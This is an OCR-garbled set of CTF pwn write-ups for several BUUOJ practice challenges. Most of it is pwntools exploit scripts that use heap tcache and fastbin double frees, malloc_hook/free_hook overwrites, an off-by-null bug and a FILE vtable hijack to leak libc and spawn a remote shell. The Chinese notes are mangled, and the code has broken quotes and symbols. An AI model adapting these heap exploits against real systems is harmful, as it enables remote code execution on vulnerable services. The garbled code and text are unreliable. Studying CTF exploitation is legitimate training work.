#libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.s0’)
p = remote('node3.buuoj.cn',28278)

libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.s0")
def add(size,content):

p.recvuntil('2:puts’)

p.sendline('1")

p.recvuntil('size")

p.sendline(str(size))

p.recvuntil('bin addr ')

binaddr = int(p.recvuntil("\n',drop=True),16)
p.recvuntil('content’)

p.sendline(content)

return binaddr

def puts():
p.recvuntil('2:puts’)
p.sendline('2')

#24 Hig it Khf, “mmap ZllibeHd 7

libc_base = add(0x200000,b'A"*8)-0x10+0x201000

malloc_hook = libc_base + libc.sym['_malloc_hook']

system = libc_base + libc.sym['system’]

binsh = libc_base + nexi(libc.search(b'/bin/sh'))
success("libc_base:{}".format(hex(libc_base)))

success("malloc_hook:{}". format(hex(malloc_hook)))

success("system:{}" format(hex(libc_base)))

success("binsh:{}" format(hex(binsh)))

#A] Ll fimalloc hook 2¢iksystem#R jzsize 2¢/bin sh#ihiF, 4 7] L Hone gadget

heap_addr = add(0x10,b'A™0x10+p64(0)+p64 (OXfffffffffffffff))
top = heap_addr+0x10
offset = malloc_hook - top -0x20

add(offset,p64(0))
add(0x10,p64(system))

p.recvuntil('2:puts')
p.sendline('1")
p.recvuntil('size")
p.sendline(str(binsh))
p.interactive()


https://blog.csdn.net/weixin_44145820/article/details/105522043
https://www.1p0ch.cn/2020/04/12/GYCTF%25E5%25A4%258D%25E7%258E%25B0/

ciscn_2019 _en_3

Fi 7 4 AiD AT LA & libc e lfft S it .
delete®] Phtcache double free

1. double free & ¥ifree_hook Asystem
2. BEiUbin/shif b



from pwn import *

debug =0

if debug:

p = process('./ciscn_2019_en_3")

libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.s0")

elf = ELF('./ciscn_2019_en_3")

else:

p = remote('node3.buuoj.cn',26444)

libc = ELF('/home/abel/pwn/libc/u18/x64libc-2.27.s0")
elf = ELF('./ciscn_2019_en_3")

def add(size,content):
p.recvuntil('Input your choice:')
p.sendline('1")
p.recvuntil('Please input the size of story:')
p.sendline(str(size))

p.recvuntil('please inpute the story:')
p.sendline(content)

def delete(idx):

p.recvuntil('Input your choice:')
p.sendline('4")

p.recvuntil('Please input the index:')
p.sendline(str(idx))

p.recvuntil("What's your name?")
p.sendline(b'A*0x14+b'BBBB')
p.recvuntil('BBBB\n')

start = u64((b"\x00'+p.recvuntil('Please’, drop=True)).ljust(8,b"\x00"))
success('start:{}'.format(hex(start)))
p.recvuntil('input your ID.")

p.sendline('A™8)

p.recvuntil('A™8)

_|O_setbuffer = ub4(p.recv(6).ljust(8,b"\x00"))-0Oxe7
libc_base = _l0_setbuffer - libc.sym['_|O_setbuffer']
system = libc_base + libc.sym['system’]

free_hook = libc_base + libc.sym['_ free hook’]
success('libc_base:{}'.format(hex(libc_base)))
success('system:{}'.format(hex(system)))
success('free_hook:{}'.format(hex(free_hook)))
add(0x10,b'a"*8)#0

add(0x10,b'a"8)#1

add(0x10,b'/bin/sh\x00")#2

delete(0)

delete(1)

delete(0)

add(0x10,p64(free_hook))#3
add(0x10,b'b"*8)#4
add(0x10,p64(system))#5
add(0x10,p64(system))#6

delete(2)
p.interactive()



gyctf 2020 some_thing_interesting

1. checkRi B M AN FRF R IR . %3$pr Atk FELibc

2. delete RER A B EHHAN B EO, FF7Edouble free. fastbin double freeF]malloc_hook. one_gadgetif fEgetshell. 5%
one_gadget/ 47, I EAMrealloc_hookR AL .

from pwn import *
context.terminal = ['terminator','-x','sh",'-c'|

debug =0

if debug:

p = process('./gyctf_2020_some_thing_interesting')
elf = ELF("./gyctf_2020_some_thing_interesting')
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.s0")

one = [0x45226,0x4527a,0xf0364,0xf1207]

else:

p = remote('node3.buuoj.cn',26015)

elf = ELF("./gyctf_2020_some_thing_interesting')
libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.s0")
one =[0x45216,0x4526a,0xf02a4,0xf1147]

def check():
p.recvuntil(":")
p.sendline('0")

def add(size1,content1,size2 content2):
p.recvuntil(":")

p.sendline('1")
p.recvuntil('length ")
p.sendline(str(size1))
p.recvuntil('> O ')
p.sendline(content1)
p.recvuntil('length ")
p.sendline(str(size2))
p.recvuntil('> RE ')
p.sendline(content2)

def edit(idx,content1,content2):
p.recvuntil(":")

p.sendline('2")
p.recvuntil("> Oreo ID ')
p.sendline(st (|dx))
p.recvuntil('> O ')
p.sendline(content1)
p.recvuntil('> RE ")
p.sendline(content2)

def delete(idx):
p.recvuntil(":")
p.sendline('3")
p.recvuntil("> Oreo ID ")
p.sendline(str(idx))

def show(idx):



p.recvuntil(":")
p.sendline('4")
p.recvuntil("> Oreo ID ")
p.sendline(str(idx))

#leak libc

p.recvuntil("> Input your code please:')
p.sendline('OreO0rereO0re0%3%p')
#gdb.attach(p)

check()

p.recvuntil('OreOOrereOO0reQ')

write = int(p.recvline(keepends=False),16)-0x10
libc_base = write - libc.sym|['write']

malloc_hook = libc_base + libc.sym['__malloc_hook’]
one_gadget = one[3]+libc_base
success("libc_base:{}".format(hex(libc_base)))
success("write:{}".format(hex(write)))
success("malloc_hook:{}".-format(hex(malloc_hook)))
success("one_gadget:{}".format(hex(one_gadget)))

#double free Zlmalloc_hook
add(0x60,'a"*8,0x10,'b"*8)#1
add(0x60,'a'*8,0x10,'b"8)#2
delete(1)
delete(2)
delete(1)

add(0x60,p64(malloc_hook-0x23),0x20,'b"8)#3
add(0x60,'a"*8,0x20,'b"*8)#4
add(0x60,p64(malloc_hook-0x23),0x20,'b"*8)#5
#add(0x60,b"x00"0x13+p64(one_gadget),0x20,'b"*8)

p.sendline('1")

p.recvuntil('length ")

p.sendline(str(0x60))

p.recvuntil('> O ')
p.sendline(b"\x00*0x13+p64(one_gadget))
p.recvuntil('length ')

#gdb.attach(p)

p.sendline(str(0x20))

p.interactive()

gyctf 2020 signin

https://www.cnblogs.com/luoleqi/p/13473995.html
A — backdoor i $
— LR


https://www.cnblogs.com/luoleqi/p/13473995.html

1. callocE#: A~<4rctcache chunkH fjchunk.

2. H4yficfastoin Kichunkfs, R FIchunk & 45 N Bltcache
FMAEAF &
editfFEEIRIA: UAF, BRUETTULE.

Jeadd 84 chunk, free#si84 . MBftcache® 7/ chunk2i#, fastbing —4
Hadd11~, N T &F—AtcacheIhr B

1B ifastbing chunk i fd yptr-0x10

o o >

i Fibackdoor, BEIJYRITE 4511, 2, calloc(0x70)it£x3kEfastbind fjchunk, E.£hi& fptr-Ox105t £ 444 A tcache, ptrig
BM. BIPATsystem("/bin/sh")

from pwn import *

debug =0

if debug:

context.log_level="debug'

p = process('./gyctf_2020_signin')

elf = ELF("./gyctf_2020_signin")

libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.s0'")
one = [0x45226,0x4527a,0xf0364,0xf1207]
else:

p = remote('node3.buuoj.cn',28354)

elf = ELF("./gyctf_2020_signin')

libc = ELF('/home/abel/pwn/libc/u18/x64libc-2.27.s0")
one =[0x45216,0x4526a,0xf02a4,0xf1147]

def add(idx):
p.recvuntil('your choice?")
p.sendline('1")
p.recvuntil('idx?")
(

p.sendline(str(idx))

def edit(idx content):
p.recvuntil('your choice?")
p.sendline('2")
p.recvuntil('idx?")
p.sendline(str(idx))
p.sendline(content)

def delete(idx):
p.recvuntil('your choice?")
p.sendline('3")
p.recvuntil('idx?")
p.sendline(str(idx))



auu( )

add(8)

payload = p64(0x4040c0-0x10)
edit(7,payload)
p.sendlineafter('your choice?','6")
p.interactive()

[GKCTF2020]Domo

SHEE.

https:/blog.play2win.top/2020/05/27/GKCTF %202020%20Domo%E5%88 %86 % E 6 %9E %90/¥s InH 4 ik
1.add & £ Eoff by null

2 editfE B bk 5 — byte

from pwn import *

context.arch = 'amd64"'

debug = 1

if debug:

context.log_level="debug’

context.terminal = ['terminator','-x','sh",'-c']

p = process('./domo")

elf = ELF('./domo")

libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.s0'")
else:

p = remote('node3.buuoj.cn',28090)

elf = ELF('./domo")

libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.s0")

def add(size,content):
p.sendlineafter(>',"1")
p.sendlineafter('size:' str(size))
p.sendlineafter('content:',content)

def delete(idx):
p.sendlineafter('>''2")
p.sendlineafter(‘index:',str(idx))

def show(idx):
p.sendlineafter('>','3")
p.sendlineafter(‘index:',str(idx))

add(0x40,")#0
add(0x60,")#1


https://blog.play2win.top/2020/05/27/GKCTF%202020%20Domo%25E5%2588%2586%25E6%259E%2590/

#leak libc
add(0xf0,")#2
add(0x10,")#3

delete(2)

add(0xf0,")#2

show(2)

p.recvline()

libc_base = u64(p.recv(6).ljust(8,b"\x00"))-(0x7f3db9d38b0a-0x7f3db9974000)
success('libc_base:{}'.format(hex(libc_base)))

#leak heap

add(0x10,")#4

delete(3)

delete(4)

add(0x10,")

show(3)

p.recvline()

heap_addr = u64(p.recv(6).ljust(8,b"\x00"))-0x10a+0x10
success("heap_addr:{}".format(hex(heap_addr)))

#overlapping

delete(0)

payload1 = p64(0)+p64(0xb1)+p64(heap_addr+0x18)+p64(heap_addr+0x20)+p64(heap_addr+0x10)
add(0x40,payload1)

delete(1)

payload1= b"\x00"“0x60+p64(0xb0)

add(0x68,payload)#& & F —1#pre_size, off by null& #0x100

delete(2)

#fastbins attack overwrite vtable

_10_file_jumps = libc_base + libc.sym[' 10 file jumps']|
_10_2_1_stdin_ = libc_base + libc.sym[' 10 2 1 stdin ']
fake_chunk = _10_2 1_stdin_ +160-0x3

fake_vtable = heap_addr + 0x210

one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base + one_gadgets|2]
success('_|0_file_jumps:{}'.format(hex(_lO_file_jumps)))
('_10_2_1_stdin_:{}.format(hex(_I0_2_1_stdin_)))
(‘'fake_chunk:{}'.format(hex(fake_chunk)))
success('fake vtable:{}'.format(hex(fake_vtable)))

success
success

add(0xc0,")

add(0x60,")

delete(4)

delete(1)

delete(2)

add(0xcO,flat("\x00"*0x38,0x71,fake_chunk))
add(0xa8,p64(0)*2+p64(one_gadget)*19)

payload = b"\x00"3+flat(0,0,0xffffffff,0,0,fake_vtable,0,0,0,0,0,0)
add(0x60,")

add(0x63,payload)

p.interactive()
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